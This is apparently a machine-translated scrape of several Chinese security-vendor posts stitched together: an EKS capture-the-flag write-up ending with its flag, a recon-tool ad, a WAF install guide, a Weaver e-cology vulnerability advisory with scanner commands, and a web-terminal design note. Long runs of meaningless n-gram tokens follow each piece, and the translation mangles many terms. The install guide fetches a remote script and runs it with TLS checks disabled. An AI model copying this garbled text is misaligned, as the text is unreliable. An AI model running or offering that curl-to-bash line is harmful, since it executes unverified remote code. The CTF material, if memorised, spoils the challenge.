true}],\'os\':\'linux\',\'rootfs\':{\'type\':\'layers\',\'diff_ids\'333 60[\'sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f\' ,\'sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432\']}} ``` wiz_eks_challenge{nothing_can_be_said_to_be_certain_ except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret} 这里值得一提的是，这个问题改编自阿里云和IBM云跨租户未授权访问漏洞的真实案例。这个过程比这复杂得多，但想法是一样的。如果您有兴趣，可以阅读更多内容。相关地址如下： https://www.wiz.io/blog/brokensesame-accidental-write-permissions-to-private-registry-allowed-潜在-r https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql ## 3. 镜像查询Pod 的镜像不仅仅包含代码。深入研究其ECR 存储库，检查图像层，并揭开隐藏的秘密。 Remember: 您正在受感染的EKS pod 内运行。 为了您的方便，起重机实用程序已预安装在机器上。 ```` { \'豆荚\': [ \'列表\', '得到' ] } ```` 这个问题是Registry Hunt的升级。这里没有Secret 的权限，只有pod 的权限。首先走一遍流程，看看pod里有什么。 ```` root@wiz-eks-challenge:~# kubectl get pods -o yaml api版本: v1 项目: - api版本: v1 kind: 吊舱 元数据: 注释: kubernetes.io/psp: eks.privileged pulumi.com/autonamed: \'true\' 创建时间戳: \'2023-11-01T13:32:10Z\' name: 会计-pod-876647f8 命名空间: 挑战3 资源版本: \'12166911\' uid: dd2256ae-26ca-4b94-a4bf-4ac1768a54e2 规格: 容器: - 图片: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 imagePullPolicy: 如果不存在 name: 会计容器 资源: {} TerminationMessagePath: /dev/termination-log TerminationMessagePolicy: 文件 卷安装: - mountPath: /var/run/secrets/kubernetes.io/serviceaccount name:kube-ap 近日 举办 办了 了云 云原 原生 生安 安全 全挑 挑战 战赛 举办了 办了云 了云原 云原生 原生安 生安全 安全挑 全挑战 挑战赛 举办了云 办了云原 了云原生 云原生安 原生安全 生安全挑 安全挑战 全挑战赛 刚出 出来 来的 的时 时候 候我 我就 就已 已经 经通 通过 过了 刚出来 出来的 来的时 的时候 时候我 候我就 我就已 就已经 已经通 经通过 通过了 刚出来的 出来的时 来的时候 的时候我 时候我就 候我就已 我就已经 就已经通 已经通过 经通过了 年底 底很 很忙 年底很 底很忙 年底很忙 没有 有时 时间 间写 写文 文章 章记 记录 录整 整个 个过 过程 没有时 有时间 时间写 间写文 写文章 文章记 章记录 记录整 录整个 整个过 个过程 没有时间 有时间写 时间写文 间写文章 写文章记 文章记录 章记录整 记录整个 录整个过 整个过程 我发 发现 现这 这个 个挑 战太 太经 经典 典了 我发现 发现这 现这个 这个挑 个挑战 挑战太 战太经 太经典 经典了 我发现这 发现这个 现这个挑 这个挑战 个挑战太 挑战太经 战太经典 太经典了 所以 以我 我决 决定 定写 写一 一篇 篇文 章来 来记 录一 一下 所以我 以我决 我决定 决定写 定写一 写一篇 一篇文 篇文章 文章来 章来记 来记录 记录一 录一下 所以我决 以我决定 我决定写 决定写一 定写一篇 写一篇文 一篇文章 篇文章来 文章来记 章来记录 来记录一 记录一下 谈谈 谈我 我从 从中 中学 学到 到的 的东 东西 西和 和感 感悟 谈谈我 谈我从 我从中 从中学 中学到 学到的 到的东 的东西 东西和 西和感 和感悟 谈谈我从 谈我从中 我从中学 从中学到 中学到的 学到的东 到的东西 的东西和 东西和感 西和感悟 射击 击场 场地 地址 射击场 击场地 场地址 射击场地 击场地址 前言 场的 的环 环境 境假 假设 设您 您侵 侵入 入一 一个 个低 低权 权限 限的 击场的 场的环 的环境 环境假 境假设 假设您 设您侵 您侵入 侵入一 入一个 一个低 个低权 低权限 权限的 射击场的 击场的环 场的环境 的环境假 环境假设 境假设您 假设您侵 设您侵入 您侵入一 侵入一个 入一个低 一个低权 个低权限 低权限的 并在 在该 并在该 中查 查找 中查找 每个 战都 都在 在具 具有 有不 不同 同权 的不 每个挑 挑战都 战都在 都在具 在具有 具有不 有不同 不同权 同权限 限的不 的不同 每个挑战 个挑战都 挑战都在 战都在具 都在具有 在具有不 具有不同 有不同权 不同权限 同权限的 权限的不 限的不同 命名 名空 空间 间中 中运 运行 命名空 名空间 空间中 间中运 中运行 命名空间 名空间中 空间中运 间中运行 总共 共有 总共有 个级 级别 个级别 秘密 密探 探索 索者 者通 过列 列出 出集 集群 群中 中的 的所 所有 有秘 密来 来快 快速 速启 启动 动您 您的 的任 任务 秘密探 密探索 探索者 索者通 者通过 通过列 过列出 列出集 出集群 集群中 群中的 中的所 的所有 所有秘 有秘密 秘密来 密来快 来快速 快速启 速启动 启动您 动您的 您的任 的任务 秘密探索 密探索者 探索者通 索者通过 者通过列 通过列出 过列出集 列出集群 出集群中 集群中的 群中的所 中的所有 的所有秘 所有秘密 有秘密来 秘密来快 密来快速 来快速启 快速启动 速启动您 启动您的 动您的任 您的任务 你能 能发 现其 其中 的旗 旗帜 帜吗 你能发 能发现 发现其 现其中 其中的 中的旗 的旗帜 旗帜吗 你能发现 能发现其 发现其中 现其中的 其中的旗 中的旗帜 的旗帜吗 得到 列表 个问 问题 题给 给出 出了 了相 相应 应的 的权 这个问 个问题 问题给 题给出 给出了 出了相 了相应 相应的 应的权 的权限 这个问题 个问题给 问题给出 题给出了 给出了相 出了相应 了相应的 相应的权 应的权限 我们 们尝 尝试 试读 读取 取一 我们尝 们尝试 尝试读 试读取 读取一 取一下 我们尝试 们尝试读 尝试读取 试读取一 读取一下 获取 取秘 获取秘 取秘密 获取秘密 版本 数据 标志 元数 元数据 创建 建时 间戳 创建时 建时间 时间戳 创建时间 建时间戳 日志 志旋 旋转 日志旋 志旋转 日志旋转 资源 源版 资源版 源版本 资源版本 不透 透明 不透明 们可 可以 以很 很容 容易 易地 地看 看出 我们可 们可以 可以很 以很容 很容易 容易地 易地看 地看出 我们可以 们可以很 可以很容 以很容易 很容易地 容易地看

## 真正自动化 在攻防演练中，往往会给出一堆目标单位。这时，攻击团队需要首先一步步收集这些目标单位的资产，比如找到对应的域名进行注册，然后进行子域名爆破、网站识别，包括指纹识别来发现漏洞等一系列繁琐的过程。使用长汀云图，只需输入目标单位名称，即可一键完成以上各点，大大节省了红队信息收集的时间。 ## 如何申请使用 打开云图快捷版，进入百川云平台激活 云图极速版地址 https://rivers.chaitin.cn/landing/atlantis 产品激活教程 https://www.bilibili.com/video/BV1Ru4y1b7cN/ 然后上传相应授权并购买产品使用。以下是如何使用它。这很简单。只需添加公司名称即可。 - 获取名称后，云图将使用注册的公司名称查找该公司的注册主域名。它会收集域名解析的子域名和IP地址，然后利用这些IP地址检测开放端口，识别端口指纹，识别Web资产和Web组件，最后使用上面收集到的Web资产和组件进行漏洞扫描。右上角的开关可以自由控制是手动启动扫描还是每天自动扫描，非常方便 - 注册域名 - 子域名 - IP地址 - 端口扫描的好处是它会扫描所有端口并识别出对应的服务 - 网络资产识别 - Web组件识别统计 - 安全风险显示，只有专业版才能看到漏洞详情。基本上只要知道漏洞的名称和地址就可以重现 ##使用体验 使用后，体验还是不错的。它可以帮助你找到一些非常有偏见的资产。适合一些拥有大量互联网资产的企业，可以自动化收集资产信息，进行攻防演练。 真正 正自 自动 动化 真正自 正自动 自动化 真正自动 正自动化 在攻 攻防 防演 演练 练中 在攻防 攻防演 防演练 演练中 在攻防演 攻防演练 防演练中 往往 往会 会给 给出 出一 一堆 堆目 目标 标单 单位 往往会 往会给 会给出 给出一 出一堆 一堆目 堆目标 目标单 标单位 往往会给 往会给出 会给出一 给出一堆 出一堆目 一堆目标 堆目标单 目标单位 这时 攻击 击团 团队 队需 需要 要首 首先 先一 一步 步步 步收 收集 集这 这些 些目 位的 的资 资产 攻击团 击团队 团队需 队需要 需要首 要首先 首先一 先一步 一步步 步步收 步收集 收集这 集这些 这些目 些目标 单位的 位的资 的资产 攻击团队 击团队需 团队需要 队需要首 需要首先 要首先一 首先一步 先一步步 一步步收 步步收集 步收集这 收集这些 集这些目 这些目标 些目标单 标单位的 单位的资 位的资产 比如 如找 找到 到对 对应 应的 的域 域名 名进 进行 行注 注册 比如找 如找到 找到对 到对应 对应的 应的域 的域名 域名进 名进行 进行注 行注册 比如找到 如找到对 找到对应 到对应的 对应的域 应的域名 的域名进 域名进行 名进行注 进行注册 然后 后进 行子 子域 名爆 爆破 然后进 后进行 进行子 行子域 子域名 域名爆 名爆破 然后进行 后进行子 进行子域 行子域名 子域名爆 域名爆破 网站 站识 识别 网站识 站识别 网站识别 包括 括指 指纹 纹识 别来 来发 发现 现漏 漏洞 洞等 等一 一系 系列 列繁 繁琐 琐的 的过 过程 包括指 括指纹 指纹识 纹识别 识别来 别来发 来发现 发现漏 现漏洞 漏洞等 洞等一 等一系 一系列 系列繁 列繁琐 繁琐的 琐的过 的过程 包括指纹 括指纹识 指纹识别 纹识别来 识别来发 别来发现 来发现漏 发现漏洞 现漏洞等 漏洞等一 洞等一系 等一系列 一系列繁 系列繁琐 列繁琐的 繁琐的过 琐的过程 使用 用长 长汀 汀云 云图 使用长 用长汀 长汀云 汀云图 使用长汀 用长汀云 长汀云图 只需 需输 输入 入目 位名 名称 只需输 需输入 输入目 入目标 单位名 位名称 只需输入 需输入目 输入目标 入目标单 标单位名 单位名称 即可 可一 一键 键完 完成 成以 以上 上各 各点 即可一 可一键 一键完 键完成 完成以 成以上 以上各 上各点 即可一键 可一键完 一键完成 键完成以 完成以上 成以上各 以上各点 大大 大节 节省 省了 了红 红队 队信 信息 息收 集的 的时 时间 大大节 大节省 节省了 省了红 了红队 红队信 队信息 信息收 息收集 收集的 集的时 的时间 大大节省 大节省了 节省了红 省了红队 了红队信 红队信息 队信息收 信息收集 息收集的 收集的时 集的时间 如何 何申 申请 请使 如何申 何申请 申请使 请使用 如何申请 何申请使 申请使用 打开 开云 图快 快捷 捷版 打开云 开云图 云图快 图快捷 快捷版 打开云图 开云图快 云图快捷 图快捷版 进入 入百 百川 川云 云平 平台 台激 激活 进入百 入百川 百川云 川云平 云平台 平台激 台激活 进入百川 入百川云 百川云平 川云平台 云平台激 平台激活 图极 极速 速版 版地 地址 云图极 图极速 极速版 速版地 版地址 云图极速 图极速版 极速版地 速版地址 产品 品激 活教 教程 产品激 品激活 激活教 活教程 产品激活 品激活教 激活教程 后上 上传 传相 相应 应授 授权 权并 并购 购买 买产 品使 然后上 后上传 上传相 传相应 相应授 应授权 授权并 权并购 并购买 购买产 买产品 产品使 品使用 然后上传 后上传相 上传相应 传相应授 相应授权 应授权并 授权并购 权并购买 并购买产 购买产品 买产品使 产品使用 以下 下是 是如 何使 用它 以下是 下是如 是如何 如何使 何使用 使用它 以下是如 下是如何 是如何使 如何使用 何使用它 这很 很简 简单 这很简 很简单 这很简单 需添 添加 加公 公司 司名 称即 只需添 需添加 添加公 加公司 公司名 司名称 名称即 称即可 只需添加 需添加公 添加公司 加公司名 公司名称 司名称即 名称即可 获取 取名 称后 获取名 取名称 名称后 获取名称 取名称后 图将 将使 用注 册的 的公 称查 查找 找该 该公 司的 的注 册主 主域 云图将 图将使 将使用 使用注 用注册 注册的 册的公 的公司 名称查 称查找 查找该 找该公 该公司 公司的 司的注 的注册 注册主 册主域 主域名 云图将使 图将使用 将使用注 使用注册 用注册的 注册的公 册的公司

HTTP是目前互联网上最主流的通信协议。企业和个人可以使用建站工具轻松搭建新网站。今天给大家推荐的就是这样一款网站防护工具，一个广受好评的社区WAF项目：雷驰，在GitHub上发布三个多月以来，已经获得了3K Stars。 官网：https://waf-ce.chaitin.cn/ GitHub: https://github.com/chaitin/safeline ##什么是WAF？ WAF是Web Application Firewall的缩写，也称为Web应用防火墙。与传统防火墙不同，WAF工作在应用层，对基于HTTP/HTTPS协议的Web系统有更好的防护效果，保护其免受黑客攻击。 ## 什么是雷池？ 雷驰是一款免费的WAF，足够简单、好用、足够强大。长汀科技历时近10年打造。其核心检测能力由智能语义分析算法驱动。它作为反向代理进行访问，以保护您的网站免受黑客攻击。 Slogan: 不要让黑客走得太远。 ## 用法 雷驰采用容器化部署，由多个Docker容器组成。 首先，验证环境是否满足安装要求。可以参考以下命令： ````bash uname -m # 检查指令架构是否为x86_64 docker version # 确保Docker版本不低于20.10.6 docker compose version # 确保Docker Compose版本不低于2.0.0 docker-compose version # 同上（兼容旧版本的Docker Compose） cat /proc/cpuinfo # 查看CPU信息，最少1核就够了 cat /proc/meminfo # 查看内存信息，最小1GB就够了 df -h # 查看磁盘信息，最小5GB就够了 LSCPU | grep ssse3 # 确保CPU支持ssse3指令集 ```` 克隆github 存储库并在存储库中执行[setup.sh](http://setup.sh) 进行安装。可以参考以下命令： ```` git 克隆[email protected]:chaitin/safeline.git 光盘安全线 bash ./setup.sh ```` 或者直接使用在线安装脚本 ````bash bash -c \'$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)\' ```` 安装完成后，访问本地`https://127.0.0.1:9443/`，绑定TOTP认证并开始使用。 ## 核心能力 ### Web攻击防护 雷驰的Web攻击检测能力由智能语义分析算法驱动。它具有防御OWASP Top 10 攻击的能力，还具有泛化和识别Web 攻击的能力，可以对抗大多数特征不明确的0Day 攻击。 ### 网页访问控制 雷驰允许用户根据HTTP请求特征设置条件，实现黑白名单访问控制。 ### 反CC 通过高频访问拦截和高频攻击拦截能力，雷驰可以实现访问频率控制，对抗CC攻击。 ### 机器人识别 雷驰内置基于客户端识别、人机行为识别、恶意IP智能的机器人检测算法。它也是对抗爬虫、扫描仪和自动攻击的好工具。 ### **网站资源识别** 雷驰集成了基于流量的自动资源识别能力，精准画像流量，自动梳理API格式，可用于API管理和API保护。 ## 项目特色 ### 易于安装且易于使用 只需一条命令即可安装，界面美观，安全配置开箱即用，使用方便。 ###行业领先的**安全防护能力** 攻击检测采用业界首创的智能语义分析算法，还具有威胁情报、动态限频、智能建模等多种高级防护模式。 ### **性能出色** 单核可轻松支持2000+TPS流量，平均检测时延在1毫秒级别。它可以轻松地垂直扩展。硬件越强大，平台就越强大。 是目 目前 前互 互联 联网 网上 上最 最主 主流 流的 的通 通信 信协 协议 是目前 目前互 前互联 互联网 联网上 网上最 上最主 最主流 主流的 流的通 的通信 通信协 信协议 是目前互 目前互联 前互联网 互联网上 联网上最 网上最主 上最主流 最主流的 主流的通 流的通信 的通信协 通信协议 企业 业和 和个 个人 人可 可以 以使 使用 用建 建站 站工 工具 具轻 轻松 松搭 搭建 建新 新网 网站 企业和 业和个 和个人 个人可 人可以 可以使 以使用 使用建 用建站 建站工 站工具 工具轻 具轻松 轻松搭 松搭建 搭建新 建新网 新网站 企业和个 业和个人 和个人可 个人可以 人可以使 可以使用 以使用建 使用建站 用建站工 建站工具 站工具轻 工具轻松 具轻松搭 轻松搭建 松搭建新 搭建新网 建新网站 今天 天给 给大 大家 家推 推荐 荐的 的就 就是 是这 这样 样一 一款 款网 站防 防护 护工 今天给 天给大 给大家 大家推 家推荐 推荐的 荐的就 的就是 就是这 是这样 这样一 样一款 一款网 款网站 网站防 站防护 防护工 护工具 今天给大 天给大家 给大家推 大家推荐 家推荐的 推荐的就 荐的就是 的就是这 就是这样 是这样一 这样一款 样一款网 一款网站 款网站防 网站防护 站防护工 防护工具 一个 个广 广受 受好 好评 评的 的社 社区 一个广 个广受 广受好 受好评 好评的 评的社 的社区 一个广受 个广受好 广受好评 受好评的 好评的社 评的社区 项目 雷驰 上发 发布 布三 三个 个多 多月 月以 以来 上发布 发布三 布三个 三个多 个多月 多月以 月以来 上发布三 发布三个 布三个多 三个多月 个多月以 多月以来 已经 经获 获得 得了 已经获 经获得 获得了 已经获得 经获得了 官网 什么 么是 什么是 的缩 缩写 的缩写 也称 称为 也称为 应用 用防 防火 火墙 应用防 用防火 防火墙 应用防火 用防火墙 与传 传统 统防 墙不 不同 与传统 传统防 统防火 火墙不 墙不同 与传统防 传统防火 统防火墙 防火墙不 火墙不同 工作 作在 在应 用层 工作在 作在应 在应用 应用层 工作在应 作在应用 在应用层 对基 基于 对基于 议的 协议的 系统 统有 有更 更好 好的 的防 护效 效果 系统有 统有更 有更好 更好的 好的防 的防护 防护效 护效果 系统有更 统有更好 有更好的 更好的防 好的防护 的防护效 防护效果 保护 护其 其免 免受 受黑 黑客 客攻 攻击 保护其 护其免 其免受 免受黑 受黑客 黑客攻 客攻击 保护其免 护其免受 其免受黑 免受黑客 受黑客攻 黑客攻击 是雷 雷池 么是雷 是雷池 什么是雷 么是雷池 驰是 是一 款免 免费 费的 雷驰是 驰是一 是一款 一款免 款免费 免费的 雷驰是一 驰是一款 是一款免 一款免费 款免费的 足够 够简 简单 足够简 够简单 足够简单 好用 够强 强大 足够强 够强大 足够强大 长汀 汀科 科技 技历 历时 时近 长汀科 汀科技 科技历 技历时 历时近 长汀科技 汀科技历 科技历时 技历时近 年打 打造 年打造 其核 核心 心检 检测 测能 能力 力由 由智 智能 能语 语义 义分 分析 析算 算法 法驱 驱动 其核心 核心检 心检测 检测能 测能力 能力由 力由智 由智能 智能语 能语义 语义分 义分析 分析算 析算法 算法驱 法驱动 其核心检 核心检测 心检测能 检测能力 测能力由 能力由智 力由智能 由智能语 智能语义 能语义分 语义分析 义分析算 分析算法 析算法驱 算法驱动 它作 作为 为反 反向 向代 代理 理进 进行 行访 访问 它作为 作为反 为反向 反向代 向代理 代理进 理进行 进行访 行访问 它作为反 作为反向 为反向代 反向代理 向代理进 代理进行 理进行访 进行访问 以保 护您 您的 的网 站免 以保护 保护您 护您的 您的网 的网站 网站免 站免受 以保护您 保护您的 护您的网 您的网站 的网站免 网站免受 站免受黑 不要 要让 让黑 客走 走得 得太 太远 不要让 要让黑 让黑客 黑客走 客走得 走得太 得太远 不要让黑 要让黑客 让黑客走 黑客走得 客走得太 走得太远 用法 驰采 采用 用容 容器 器化 化部 部署 雷驰采 驰采用 采用容 用容器 容器化 器化部 化部署 雷驰采用 驰采用容 采用容器 用容器化 容器化部 器化部署 由多 多个 由多个 器组 组成 容器组 器组成 容器组成 首先 验证 证环 环境 境是 是否 否满 满足 足安 安装 装要 要求 验证环

漏洞详情：【盘微OA ecology9 uploaderOperate.jsp前端任意文件上传漏洞】（https://stack.chaitin.com/vuldb/detail?id=499c2d48-0a02-474f-bc2f-0debddcbbf78） 泛微协同管理应用平台（e-cology）是一个综合性的企业管理平台。具有企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心等多元化功能。该平台帮助企业整合各种资源，包括管理、营销、销售、研发、人事和行政等领域。通过e-cology，可以将这些资源整合在统一的平台上，为用户提供统一的界面，方便操作和信息获取。 近日，长汀应急小组检测到泛微发布新的安全漏洞补丁，修复多个漏洞。其中两个值得关注，即信息泄露和任意用户登录。组合后，它们可以获得应用系统中的任何用户权限。 对漏洞进行分析后发现，公网中还存在很多未修复的漏洞。根据该漏洞原理，长汀应急小组整理了X-RAY远程检测工具和牧云本地检测工具供大家下载使用。同时，本文还提供了对资产进行故障排除的方法。 ### **远程检测工具** 复制链接：[https://stack.chaitin.com/tool/detail?id=1](https://stack.chaitin.com/tool/detail?id=1) 前往xray - CT Stack 安全社区下载最新版本的xray。 执行：/xray ws --poc poc-yaml-ecology-ofslogin-aul --url [http://example.com](http://example.com) 进行扫描。 ### **本地检测工具** 复制链接：[https://stack.chaitin.com/tool/detail?id=1032](https://stack.chaitin.com/tool/detail?id=1032) 前往CT Stack安全社区下载牧云本地检测工具。 执行：/weaver_ecology_anyuser_login_vuln_scanner_linux_amd64 scan进行扫描。 ## 漏洞描述 由于系统没有正确处理系统接口的响应，系统会泄露注册用户信息。攻击者可以利用信息泄露漏洞获取注册用户信息。另外，由于系统中使用的算法设计不当，攻击者可以模拟任何用户登录系统。 对于攻击者来说，利用这两个漏洞不需要身份验证和认证。结合漏洞即可获取用户数据并登录后台。 ## 影响范围 盘维生态ec9部分版 ## 资产检查 body_string='/wui/common/' body_string='/wui/index.html' ## 解决方案 官方安全补丁已经发布。安装参考链接中的官方安全补丁。 ## 产品支持 - 云图：默认支持本产品的指纹识别，同时也支持该漏洞的PoC原理检测。 - 知识全面：已发布升级包支持对该漏洞的利用检测。 - Hole：已发布自定义POC以支持漏洞检测。 - 牧云：默认支持本产品的应用资产集合。 ## 参考链接 https://www.weaver.com.cn/cs/securityDownload.html?src=cn 漏洞 洞详 详情 漏洞详 洞详情 漏洞详情 盘微 前端 端任 任意 意文 文件 件上 上传 传漏 前端任 端任意 任意文 意文件 文件上 件上传 上传漏 传漏洞 前端任意 端任意文 任意文件 意文件上 文件上传 件上传漏 上传漏洞 泛微 微协 协同 同管 管理 理应 应用 用平 平台 泛微协 微协同 协同管 同管理 管理应 理应用 应用平 用平台 泛微协同 微协同管 协同管理 同管理应 管理应用 理应用平 应用平台 是一 一个 个综 综合 合性 性的 的企 企业 业管 理平 是一个 一个综 个综合 综合性 合性的 性的企 的企业 企业管 业管理 管理平 理平台 是一个综 一个综合 个综合性 综合性的 合性的企 性的企业 的企业管 企业管理 业管理平 管理平台 具有 有企 业信 信息 息门 门户 具有企 有企业 企业信 业信息 信息门 息门户 具有企业 有企业信 企业信息 业信息门 信息门户 知识 识文 文档 档管 知识文 识文档 文档管 档管理 知识文档 识文档管 文档管理 工作 作流 流程 程管 工作流 作流程 流程管 程管理 工作流程 作流程管 流程管理 人力 力资 资源 源管 人力资 力资源 资源管 源管理 人力资源 力资源管 资源管理 客户 户关 关系 系管 客户关 户关系 关系管 系管理 客户关系 户关系管 关系管理 项目 目管 项目管 目管理 项目管理 财务 务管 财务管 务管理 财务管理 资产 产管 资产管 产管理 资产管理 供应 应链 链管 供应链 应链管 链管理 供应链管 应链管理 数据 据中 中心 心等 等多 多元 元化 化功 功能 数据中 据中心 中心等 心等多 等多元 多元化 元化功 化功能 数据中心 据中心等 中心等多 心等多元 等多元化 多元化功 元化功能 该平 台帮 帮助 助企 业整 整合 合各 各种 种资 该平台 平台帮 台帮助 帮助企 助企业 企业整 业整合 整合各 合各种 各种资 种资源 该平台帮 平台帮助 台帮助企 帮助企业 助企业整 企业整合 业整合各 整合各种 合各种资 各种资源 包括 括管 包括管 括管理 包括管理 营销 销售 研发 人事 事和 和行 行政 政等 等领 领域 人事和 事和行 和行政 行政等 政等领 等领域 人事和行 事和行政 和行政等 行政等领 政等领域 通过 可以 以将 将这 这些 些资 源整 合在 在统 统一 一的 的平 台上 可以将 以将这 将这些 这些资 些资源 资源整 源整合 整合在 合在统 在统一 统一的 一的平 的平台 平台上 可以将这 以将这些 将这些资 这些资源 些资源整 资源整合 源整合在 整合在统 合在统一 在统一的 统一的平 一的平台 的平台上 为用 用户 户提 提供 供统 的界 界面 为用户 用户提 户提供 提供统 供统一 一的界 的界面 为用户提 用户提供 户提供统 提供统一 供统一的 统一的界 一的界面 方便 便操 操作 作和 和信 息获 获取 方便操 便操作 操作和 作和信 和信息 信息获 息获取 方便操作 便操作和 操作和信 作和信息 和信息获 信息获取 近日 长汀 汀应 应急 急小 小组 组检 检测 测到 到泛 微发 发布 布新 新的 的安 安全 全漏 洞补 补丁 长汀应 汀应急 应急小 急小组 小组检 组检测 检测到 测到泛 到泛微 泛微发 微发布 发布新 布新的 新的安 的安全 安全漏 全漏洞 漏洞补 洞补丁 长汀应急 汀应急小 应急小组 急小组检 小组检测 组检测到 检测到泛 测到泛微 到泛微发 泛微发布 微发布新 发布新的 布新的安 新的安全 的安全漏 安全漏洞 全漏洞补 漏洞补丁 修复 复多 多个 个漏 修复多 复多个 多个漏 个漏洞 修复多个 复多个漏 多个漏洞 其中 中两 两个 个值 值得 得关 关注 其中两 中两个 两个值 个值得 值得关 得关注 其中两个 中两个值 两个值得 个值得关 值得关注 即信 息泄 泄露 露和 和任 意用 户登 登录 即信息 信息泄 息泄露 泄露和 露和任 和任意 任意用 意用户 用户登 户登录 即信息泄 信息泄露 息泄露和 泄露和任 露和任意 和任意用 任意用户 意用户登 用户登录 组合 合后 组合后 它们 们可 以获 获得 得应 用系 系统 统中 中的 的任 任何 何用 户权 权限 它们可 们可以 可以获 以获得 获得应 得应用 应用系 用系统 系统中 统中的 中的任 的任何 任何用 何用户 用户权 户权限 它们可以 们可以获 可以获得 以获得应 获得应用 得应用系 应用系统 用系统中 系统中的 统中的任 中的任何 的任何用 任何用户 何用户权 用户权限 对漏 洞进 进行 行分 分析 析后 后发 发现 对漏洞 漏洞进

\r # 简介\r \r 百川云开发者是来自长汀的技术爱好者联盟。因为我们有很多云主机，又没有固定的办公电脑，所以我们经常找不到服务器IP，经常记不住密码，甚至忘记自己有多少台服务器。于是我们很快就开发了一个在线终端工具，可以在三天内协同使用，而且对于我们自己来说也是一种享受。 \r \r 后来我发现身边很多朋友也有同样的问题，所以我决定创建一个公共服务，并给这个工具起了一个名字：牧云主机管理助手。上线仅一个月，已有1000多名朋友注册使用，非常可喜。本文将介绍牧云的使用并揭示设计和开发思路。欢迎各位技术爱好者前来体验交流~\r \r 在线体验：\r \r [https://rivers.chaitin.cn/workbench?promotion=a46555d83883b379c6e77c7a085dc1da](https://rivers.chaitin.cn/workbench?promotion=a46555d83883b379c6e77c7a085dc1da)\r \r # 01.挑战\r \r 技术朋友一定对终端很熟悉，这是管理计算机最简单、最直接的方式。为了让使用起来更加愉快，我们决定在终端上进行一些处理，并进行了整理。我们需要解决的主要问题如下：\r \r * 可以连接到远程服务器的终端\r \r * 服务器必须能够连接，即使它没有公共IP\r \r * 您必须能够在不打开ssh 服务的情况下进行连接\r \r * 支持终端远程协助\r \r * 多人可以同时操作同一个终端\r \r * 能够在查看远程操作时复制终端中的文本\r \r * 支持录制终端操作并可反复观看\r \r * 安全\r \r * 您可以使用帐号和密码登录，指定用户也可以免密码登录\r \r * 需要在服务器上留下标准登录日志\r \r \r # 02.设计思路\r \r ## 1. 服务器\r \r 服务器端架构比较简单。在服务器上安装Agent，使用Agent拉起本地终端，使用公网服务器进行中转，将终端的输入输出通过Websocket喂给前端。参考下图：\r \r \r \r ## 2.Web终端\r \r Web端使用Xterm.js，轮子不错，用户体验与本地端基本一致。省了很多事，但是有几个小问题：\r \r * 很多错误，字体偶尔会耗尽\r \r * 性能有点慢，这取决于GPU，屏幕越大，延迟越多\r \r * 由于浏览器限制，无法使用Ctrl-w 和esc\r \r \r ## 3.代理\r \r 对于Agent部分，只需使用登录命令\r \r 1.直接调用登录程序时，会出现一个登录界面，看起来还不错\r \r 2.login -f 可以直接跳过密码认证，无需密码登录\r \r 3.登录本身会将登录日志写入btmp和wtmp\r \r \r 这样登录程序就完全满足需求了，只需要将登录进程的stdint/stdout/stderr绑定到网络连接上即可。不过，还有一个小问题：centos默认开启了selinux，这会干扰登录行为。 Root 无法使用密码登录。 \r \r ## 4. 合作计划\r \r 关于如何多人协同使用终端的问题，tmate是目前广泛使用的解决方案，但它并不能满足我们的要求。我们想要的解决方案：\r \r 1.不依赖ssh或其他客户端\r \r 2.不依赖公网环境，可以穿透内网\r \r 3.可以选择“只能查看终端”和“可以操作终端”\r \r 4.可以支持文件上传和下载\r \r \r 实现其实非常简单。只需要复制Agent的输入和输出，分别发送到不同的Websocket即可。参考下图：\r \r \r \r 处理几个细节后即可使用：\r \r * 多人使用时，每个人的屏幕尺寸不同，col和row需要同时调整\r \r * 如果加入共享时没有输入，您可能看不到任何内容。需要缓存输出流的历史信息\r \r * 如果全屏应用程序只刷新部分内容，共享时会显得很奇怪\r \r * 等等。 \r \r \r # 03.使用说明\r \r 1.扫描微信二维码登录百川平台\r \r \r [https://rivers.chaitin.cn/workbench?promotion=a46555d83883b379c6e77c7a085dc1da](https://rivers.chaitin.cn/workbench?promotion=a46555d83883b379c6e77c7a085dc1da)\r \r 2. 绑定您的主机\r \r \r \r \r 3、点击在线终端共享按钮，一键生成访问链接。 \r \r \r \r \r 在另一个浏览器中打开共享链接，然后双方就可以同时操作，流畅如丝。 \r \r \r \r 除了远程协作之外，牧云主机管理助手还提供资源监控、文件管理等功能，并且对普通个人用户免费。不过，如果你很有钱的话，非常感谢你的50毛钱～为了讨好同样是死书呆子的程序员，我们还花了半夜的时间画图，定制了一套Miku皮肤。我们故意不提换皮入口。谁找到就先用~\r \r **后续计划：**\r \r 1.Windows版本：支持Windows主机的管理\r \r 2.私有版：为暂时不方便使用SaaS服务的用户提供独立部署能力\r \r 3、开源：功能相对完善后，我们最终会将项目源码以开源的方式回馈给技术社区\r \r \r 欢迎大家加入**CTRivers**万能助手群积极讨论：\r \r 如果发现bug，您将获得**¥8.88**的现金红包\r \r 请求被接受，收到现金红包**¥8.88** :\r \r \r \r 最后附上百川云开发者公众号。更多容器镜像安全等技术知识一目了然。建议更多科技爱好者关注！ 简介 百川 川云 云开 开发 发者 者是 是来 来自 自长 长汀 汀的 的技 技术 术爱 爱好 好者 者联 联盟 百川云 川云开 云开发 开发者 发者是 者是来 是来自 来自长 自长汀 长汀的 汀的技 的技术 技术爱 术爱好 爱好者 好者联 者联盟 百川云开 川云开发 云开发者 开发者是 发者是来 者是来自 是来自长 来自长汀 自长汀的 长汀的技 汀的技术 的技术爱 技术爱好 术爱好者 爱好者联 好者联盟 因为 为我 我们 们有 有很 很多 多云 云主 主机 因为我 为我们 我们有 们有很 有很多 很多云 多云主 云主机 因为我们 为我们有 我们有很 们有很多 有很多云 很多云主 多云主机 又没 没有 有固 固定 定的 的办 办公 公电 电脑 又没有 没有固 有固定 固定的 定的办 的办公 办公电 公电脑 又没有固 没有固定 有固定的 固定的办 定的办公 的办公电 办公电脑 所以 以我 们经 经常 常找 找不 不到 到服 服务 务器 所以我 以我们 我们经 们经常 经常找 常找不 找不到 不到服 到服务 服务器 